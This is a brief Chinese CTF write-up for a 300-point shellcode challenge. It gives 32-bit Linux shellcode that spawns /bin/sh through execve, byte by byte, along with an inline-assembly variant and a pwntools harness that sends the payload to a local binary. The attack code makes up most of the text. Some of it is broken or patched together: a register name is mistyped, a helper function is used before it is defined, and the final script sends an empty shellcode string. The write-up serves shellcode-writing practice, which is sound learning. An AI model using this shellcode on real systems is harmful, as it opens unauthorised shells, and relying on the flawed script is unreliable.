【Writeup】TSCTF Shellcode 300pt
题目考察的实在不能再简单，不过作为shellcode编写的入门还是有意义的。
shellcode = ''
# push '/bin///sh\x00'
# 68 and 73
shellcode += h2b('6a 68') # push 0x68
shellcode += h2b('68 2f2f2f73') # push 0x732f2f2f
shellcode += h2b('68 2f62696e') # push 0x6e69622f
# call execve('esp', 0, 0)
shellcode += h2b('89e3') # mov ebx, esp
shellcode += h2b('31c9') # xor exc, ecx
shellcode += h2b('6a 0b') # push 0xb(lost from 0x0b)
shellcode += h2b('58') # pop eax
# Set edx to 0, eax is known to be positive
shellcode += h2b('99') # cdq
shellcode += h2b('cd 80') # int 0x80
顺便考察了gdb的用法，动态调试与python attach上去等试验基本技巧，以及gcc与编译，asm的用法。
#include <stdio.h>
int main(){
__asm__
("mov $0x31313331,%eax\n\t"
"sub $0x313132c9,%eax\n\t"
"push %eax\n\t"
"mov $0x31313331,%eax\n\t"
"sub $0x313132be,%eax\n\t"
"push %eax\n\t"
"push $0x2f2f2f\n\t"
"push $0x6e69622f\n\t"
"mov %esp,%ebx\n\t"
"xor %ecx,%ecx\n\t"
"mov $0x31313131,%eax\n\t"
"sub $0x31313126,%eax\n\t"
"push %eax\n\t"
"pop %eax\n\t"
"cdq\n\t"
"int $0x80\n\t"
);
return 0;
}
当然，顺便也熟悉了pwntools的最简单用法：
from pwn import *
import time
context(arch='i386',os='linux')
#elf=ELF('./shellcode')
#libc=ELF('libc.so')
p=process('./shellcode')
#p=remote('url',port)
time.sleep(30)
print "1/2..."
time.sleep(30)
#given
def h2b(s):
return s.strip().replace(' ', '').decode('hex')
shellcode = ''
print shellcode
p.sendline(shellcode)
raw_input('waiting for debug...')